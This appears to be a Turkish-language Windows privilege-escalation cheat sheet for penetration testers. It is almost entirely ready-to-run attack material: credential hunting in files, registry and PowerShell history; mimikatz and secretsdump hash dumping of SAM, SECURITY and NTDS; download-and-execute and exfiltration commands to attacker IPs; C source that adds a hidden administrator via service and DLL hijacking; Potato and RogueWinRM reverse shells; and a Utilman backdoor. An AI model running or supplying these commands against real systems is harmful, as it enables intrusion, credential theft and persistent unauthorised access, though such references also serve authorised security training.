Windows Privilege Escalation
Sistem Bilgileri
systeminfo # Sistem bilgisi
whoami /all # User bilgileri
whoami /priv # User yetkileri
whoami /groups
net user /domain # Domaindeki Kullanıcıları Listeler
net user john /domain # Kullanıcıyı Listeler
net group /domain # Domain Grupları
net group "Sales Department" /domain
net accounts # Hesap Ayarları (Lockout Bilgileri)
query user # Diğer bağlı kullanıcılar
Get-LocalUser # Local Kullancılar
Get-LocalGroup # Local Gruplar
Get-LocalGroupMember Administrators # Bir gruptaki kullanıcılar
Get-LocalGroupMember "Remote Desktop Users"
ipconfig /all # Ağ arayüzleri
Get-MpComputerStatus # Defender kontrolü
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections # Applocker
dir env: # Ortam Değişkenleri
dir /A-D /S /B # Recursive File List
route print # Ağ yönlendirme bilgisi
netstat -ano | findstr LISTENING # Bütün açık portlar
arp -a # ARP Cache Tablosu
ifconfig /all
# Yüklü uygulamalar
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-WmiObject -Class Win32_Product | select Name, Version # PSH
wmic product get name # CMD
# Patchler
wmic qfe # CMD
Get-HotFix | ft -AutoSize # PSH
Get-Process # Çalışan İşlemler
Parola Dosyaları
# Password isimli dosyalar
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
# KeePass File
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
# Xampp Dosyaları
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
# Kullanıcı Dosyaları
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini,*.exe -File -Recurse -ErrorAction SilentlyContinue
# History
Get-History
type (Get-PSReadLineOption).HistorySavePath
type C:\Users\administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# IIS Dosyaları
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
type C:\inetpub\wwwroot\web.config | findstr connectionString
# Registry Creds
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /s
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
cmdkey /list # Parola Listesi
Dosya Transferi
# HTTP Download
python -m http.server 80
iwr 192.168.1.2/reverse.exe -o reverse.exe
iwr -UseBasicParsing 192.168.1.2/reverse.exe -o reverse.exe
curl 192.168.1.2/winPEASx64.exe -o winPEAS.exe
iwr 192.168.1.2/reverse.ps1 | IEX
# HTTP Upload
nc -lvnp 8000
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
iwr -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
echo 'BASE64' | base64 -d -w 0 > hosts
# SMB Download Upload
impacket-smbserver -smb2support share .
impacket-smbserver -smb2support share . -username admin -password admin
net use * \\192.168.1.2\share
net use * \\192.168.45.177\share /user:admin admin
copy SAM Z:\
net use * /del
# Base64 Download
cat id_rsa | base64 -w 0;echo
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("BASE64"))
# Base64 Upload
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
echo 'BASE64' | base64 -d > hosts.txt
# FTP Upload Download
python3 -m pyftpdlib --port 21 --write
(New-Object Net.WebClient).UploadFile('ftp://192.168.45.181/file.zip', 'C:\users\joe\Downloads\file.zip')
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
# Wsgidav
wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
copy passwords.txt \\192.168.49.129\DavWWWRoot\
# Arka Planda Çalıştırma
start /b curl 192.168.1.2/winPEASx64.exe -o winPEAS.exe
Start-Process powershell "iwr 192.168.1.2/agent.exe -OutFile agent.exe"
Start-Process powershell -ArgumentList "-NoProfile -EncodedCommand BASE64_REV"
start-job -scriptblock {revshell}
Lazagne
start lazagne.exe all
Winpeas
.\winPEAS.exe
domain Enumerate domain information
systeminfo Search system information
eventsinfo Display interesting events information
userinfo Search user information
processinfo Search processes information
servicesinfo Search services information
applicationsinfo Search installed applications information
networkinfo Search network information
cloudinfo Enumerate cloud information
windowscreds Search windows credentials
browserinfo Search browser information
filesinfo Search generic files that can contains credentials
fileanalysis [NOT RUN BY DEFAULT] Search specific files that can contains credentials and for regexes inside files. Might take several minutes.
all Run all checks the previous check including fileanalysis.
quiet Do not print banner
notcolor Don't use ansi colors (all white)
searchpf Search credentials via regex also in Program Files folders
wait Wait for user input between checks
debug Display debugging information - memory usage, method execution time
log[=logfile] Log all output to file defined as logfile, or to "out.txt" if not specified
max-regex-file-size=1000000 Max file size (in Bytes) to search regex in. Default: 1000000B
Privesccheck
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
Exploit Suggester
Windows-exploit-suggester: https://github.com/bitsadmin/wesng
# Hedefte
systeminfo
# Localde
python wes.py --update
python wes.py systeminfo.txt
Service Binary Hijacking
Bu yöntemde düzenleme yetkimiz olan bir servis buluyoruz ve istediğimiz komut ile değiştiriyoruz.
# Servisleri ve yollarını listeler
Get-CimInstance -ClassName win32_service | Select Name,State,StartMode,PathName | Where-Object {$_.State -like 'Running'}
# Windows Servislerini Gizler
Get-CimInstance -ClassName win32_service | Select Name,State,StartMode,PathName | Where-Object {$_.State -like 'Running' -and $_.PathName -notlike '*system32*'}
# Servisin yetkilerini listeler
icacls "C:\xampp\mysql\bin\mysqld.exe"
# Eğer bir serviste F(Full Access), M(Modify) veya W(Write) varsa yetki yükseltebiliriz
// Bu kod ile kendimize yeni bir admin kullanıcısı açabiliriz
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user hacker password123! /add");
i = system ("net localgroup administrators hacker /add");
i = system ("net localgroup \"Remote Desktop Users\" hacker /add");
return 0;
}
# Local
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe # Kodu derliyoruz
python3 -m http.server 80
# Target
iwr -uri http://192.168.1.3/adduser.exe -Outfile adduser.exe # Dosyayı indiriyoruz
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe # Servisin yedeğini alıyoruz
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe # Kodumuzu servisin yerine koyuyoruz
net stop mysql # Servisi yeniden başlatıyoruz
net start mysql
shutdown /r /t 0 # Eğer servis yeniden başlamıyorsa sistemi reboot ediyoruz
Get-LocalGroupMember administrators # Sisteme artık kendi kullanıcımız ile girebiliriz
# Aynı işlemi PowerUp ile otomatize yapabiliriz.
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80
iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'mysql'
Service DLL Hijacking
Process Monitor: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
# Servisleri listeliyoruz
Get-CimInstance -ClassName win32_service | Select Name,State,StartMode,PathName | Where-Object {$_.State -like 'Running'}
# Windows Servislerini Gizler
Get-CimInstance -ClassName win32_service | Select Name,State,StartMode,PathName | Where-Object {$_.State -like 'Running' -and $_.PathName -notlike '*system32*'}
# Servis dosyasını kendi bilgisayarımıza çekiyoruz
.\Procmon64.exe # Procmon ile bekliyoruz ve sadece Createfile işlemine bakıyoruz
# Servisi oluşturuyoruz
sc.exe create denemeService "C:\users\yigit\Desktop\scheduler.exe"
Restart-Service denemeService
# Bir servis dll ararken önce kendi dizinine sonra path değişkenindeki yolları arar
$env:path -split ';'
# Eğer servisin bulunduğu dizine veya path içindeki daha başlardaki bir yere kendi dll dosyamızı yazarsak yetki yükseltebiliriz
sc.exe delete denemeService
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user hacker password123! /add");
i = system ("net localgroup administrators hacker /add");
i = system ("net localgroup \"Remote Desktop Users\" hacker /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
# Localde
x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll
python -m http.server 80
# Hedefte
iwr -uri http://192.168.1.3/myDLL.dll -Outfile myDLL.dll
Restart-Service BetaService
Unquoted Service Path
# İçinde boşluk olan servisleri bulur
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Örnek zafiyetli servis
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
# Potansiyel saldırı dizinleri
C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
# Hangi dizinlere yazma yetkimiz var kontrol ediyoruz
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"
// Bu kod ile kendimize yeni bir admin kullanıcısı açabiliriz
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user hacker password123! /add");
i = system ("net localgroup administrators hacker /add");
i = system ("net localgroup \"Remote Desktop Users\" hacker /add");
return 0;
}
# Local
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe # Kodu derliyoruz
python3 -m http.server 80
# Target
iwr -uri http://192.168.1.3/adduser.exe -Outfile adduser.exe # Dosyayı indiriyoruz
copy .\adduser.exe 'C:\Program Files\Enterprise Apps\Current.exe'
Restart-Service GammaService
# Aynı işlemi PowerUp ile otomatize yapabiliriz.
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80
iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
Restart-Service GammaService
Scheduled Tasks
# Zamanlanmış Servislere Bakıyoruz
schtasks /query /fo LIST /v
# Sadece gerekenler
schtasks /query /fo LIST /v | findstr "TaskName Author 'Task To Run'"
# Eğer ilginç bir servis var ise yazma yetkimiz var mı diye inceliyoruz
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
iwr -Uri http://192.168.1.3/adduser.exe -Outfile BackendCacheCleanup.exe
move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
move .\BackendCacheCleanup.exe .\Pictures\
SeImpersonatePrivilege
SeImpersonatePrivilege
, bir işlemin başka bir kullanıcının kimliğine bürünmesine izin veren bir Windows ayrıcalığıdır. Bu, hizmetlerin veya uygulamaların farklı kullanıcılar adına işlem yapmasını sağlar.
# Hedef
whoami /priv # Eğer hedefte aşağıdaki yetki var ise deneyebiliriz
SeImpersonatePrivilege Enabled
./SigmaPotato.exe "whoami"
./SigmaPotato.exe --revshell 192.168.1.2 80
./SigmaPotato.exe "nc.exe 192.168.1.2 80 -e cmd"
Start-Process powershell "./SigmaPotato.exe --revshell 127.0.0.1 443" -windowstyle hidden
Start-Process powershell "./SigmaPotato.exe 'nc64.exe 127.0.0.1 443 -e cmd'" -windowstyle hidden
./PrintSpoofer64.exe -i -c powershell.exe
./GodPotato-NET4.exe -cmd "cmd /c whoami"
SeDebugPrivilege
./mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
SeBackupPrivilege
SeBackupPrivilege
, bir kullanıcının veya işlemin sistemdeki tüm dosyaları, dosya izinlerinden bağımsız olarak okumasına olanak tanır. Bu ayrıcalık, genellikle yedekleme yazılımlarının dosya ve dizinlerin yedek kopyalarını oluşturması için kullanılır.
Link: SeBackup
whoami /priv
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege
Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite
SeBackup / SeRestore
# Yetkileri listeler
whoami /priv
# Eğer SeBackup/SeRestore yetkimiz varsa parola hashlerini tutan kayıtları kopyalıyoruz.
reg save hklm\system system
reg save hklm\sam sam
reg save hklm\security security
# Sonrasında kendi makinemizde bu hashleri okuyoruz. Bu hashleri psexec ile kullanabiliriz.
impacket-secretsdump -sam sam -system system -security security LOCAL
nano dump.dsh
# Dosya
set context persistent nowriters
add volume c: alias dump
create
expose %dump% z:
# Windows için çeviriyoruz
unix2dos dump.dsh
# Karşıya yükledikten sonra ntds çekiyoruz burada domain hashleri var
diskshadow /s dump.dsh
robocopy /b z:\windows\ntds . ntds.dit
reg save hklm\system system
reg save hklm\sam sam
# Bu dosya sadece Domain Controller içinde var
impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
SeTakeOwnership
# Yetkileri listeliyoruz
whoami /priv
# Eğer SeTakeOwnership yetkimiz varsa bir dosyanın sahipliğini kendimize alabiliriz.
# Aşağıdaki komutlar ile utilman dosyasını cmd ile değiştiriyoruz.
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant %username%:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
# Bunu yaptıktan sonra giriş ekranında sağ altta bulunan Ease of Access butonu bize yetkili bir shell sağlıyor.
# Veya Cred Dosyalarını Al
takeown /f C:\Windows\System32\config\SAM
takeown /f C:\Windows\System32\config\SYSTEM
takeown /f C:\Windows\System32\config\SECURITY
icacls C:\Windows\System32\config\SAM /grant %username%:F
icacls C:\Windows\System32\config\SYSTEM /grant %username%:F
icacls C:\Windows\System32\config\SECURITY /grant %username%:F
SeImpersonate / SeAssignPrimaryToken
Rogue WinRM: https://github.com/antonioCoco/RogueWinRM
# Yetkileri listeler
whoami /priv
rlwrap nc -lvnp 1234
RogueWinRM.exe -p "nc.exe" -a "-e cmd.exe 192.168.1.2 1234"
Enable Tokens
Eğer token gözüküyorsa fakat disable edilmişse yeniden enable edilebilir.
Link: https://github.com/fashionproof/EnableAllTokenPrivs
.\EnableAllTokenPrivs.ps1
whoami /priv
# Eğer nt authority/local service ise kullanıcı işe yarar
wget https://github.com/itm4n/FullPowers/releases/download/v0.1/FullPowers.exe
./FullPowers.exe -x
Shortcut RCE
Eğer hedef kullanıcı belirli aralıklarla shortcut kullanıyorsa aşağıdaki şekilde kendi shortcut dosyamız ile değiştirebiliriz.
Lnk dosyasına yazma yetkimiz olmasa bir shortcut değiştirilebilir.
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("C:\temp\shortcut.lnk")
$shortcut.TargetPath = "C:\temp\reverse.exe"
$shortcut.Save()
Last updated
Was this helpful?